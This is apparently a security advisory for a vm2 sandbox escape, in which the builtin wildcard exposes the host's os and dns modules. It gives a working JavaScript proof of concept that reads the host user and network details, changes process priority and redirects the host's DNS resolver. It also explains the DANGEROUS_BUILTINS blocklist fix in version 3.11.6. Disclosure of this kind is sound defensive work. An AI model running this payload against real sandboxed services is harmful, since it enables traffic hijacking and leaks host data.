vm2: NodeVM builtin wildcard exposes os and dns host-process read/write primitives
In vm2, sandboxed code using the builtin wildcard can call dns.setServers() to hijack every DNS lookup the host process makes, and read host identity and network topology via os, all from a single…

The problem
vm2's NodeVM passes os and dns through to the sandbox via vm.readonly(hostRequire(key)) when builtin: ['*'] is used. The readonly proxy forwards every method call to the host realm, so for modules whose purpose is to read or mutate host-process state, the proxy boundary protects nothing.
os.userInfo() and os.networkInterfaces() expose the host process owner, uid/gid, home directory, and full network topology including container veth interfaces. dns.setServers(['attacker:53']) replaces the host's process-wide DNS resolver list in one synchronous call.
Every subsequent DNS lookup the host process makes, including outbound HTTP, registry fetches, and OIDC issuer resolution, flows through the attacker's resolver. os.setPriority() mutates the host process nice value. Both writes persist after vm.run() returns and are visible from the host realm.
Proof of concept
A working proof-of-concept for this issue in vm2, with the exact payload below.
// [A] Read host identity and mutate process priority
const { NodeVM } = require('vm2');
const vm = new NodeVM({ require: { external: true, builtin: ['*'] } });
const r = vm.run(`
const os = require('os');
os.setPriority(10); // mutates host process nice value
module.exports = {
userInfo: os.userInfo(), // uid/gid/username/homedir/shell
hostname: os.hostname(),
networkInterfaces: Object.keys(os.networkInterfaces())
};
`, 'os.js');
console.log(JSON.stringify(r, null, 2));
console.log('host getPriority():', require('os').getPriority()); // => 10
// [B] Hijack host-process DNS resolver (one synchronous line)
const dnsHost = require('dns');
console.log('before:', dnsHost.getServers());
const vm2 = new NodeVM({ require: { external: true, builtin: ['*'] } });
vm2.run(`
require('dns').setServers(['127.0.0.1:5353', '8.8.4.4']);
`, 'dns.js');
console.log('after:', dnsHost.getServers());
// Every host dns.lookup() now goes to 127.0.0.1:5353The root cause is an incomplete blocklist. lib/builtin.js maintains a DANGEROUS_BUILTINS set that the '*' wildcard expansion filters against. GHSA-9g8x-92q2-p28f added diagnostics_channel, async_hooks, perf_hooks, and v8 to that set with the rationale that process-wide observability modules cannot be made sandbox-local by a readonly proxy. os and dns satisfy the same description but were not included.
The patch for 3.11.6 adds 'os' and 'dns' to DANGEROUS_BUILTINS. The existing isDangerousBuiltin() family-prefix matcher then automatically covers node:os, node:dns, and node:dns/promises without further changes. CWE-200 (information exposure) and CWE-732 (incorrect permission assignment) both apply: the sandbox reads privileged host-process state and writes to it through the unguarded readonly proxy.
The fix
Upgrade vm2 to 3.11.6. The patch adds 'os' and 'dns' to DANGEROUS_BUILTINS in lib/builtin.js, blocking them from the '*' wildcard expansion and from explicit allowlists. If you need a sandbox-local os or dns surface (e.g. os.platform(), os.EOL), register a hand-written safe wrapper via the mock or override option instead of granting the real host module.
Reported by patriksimek.
Related research
- highCVE-2026-47683CVE-2026-47683: vm2 bufferAllocLimit DoS Bypass via Buffer.concat and Buffer.from
- critical · 9.9CVE-2026-47686CVE-2026-47686: vm2 Missing Error.cause Sanitization Sandbox Escape to RCE
- critical · 9.8CVE-2026-47698CVE-2026-47698: vm2 Sandbox Breakout via Indirect Call Proto Mutation
- high · 7.5vm2 Memory Exhaustion DoS via ArrayBuffer bufferAllocLimit Bypass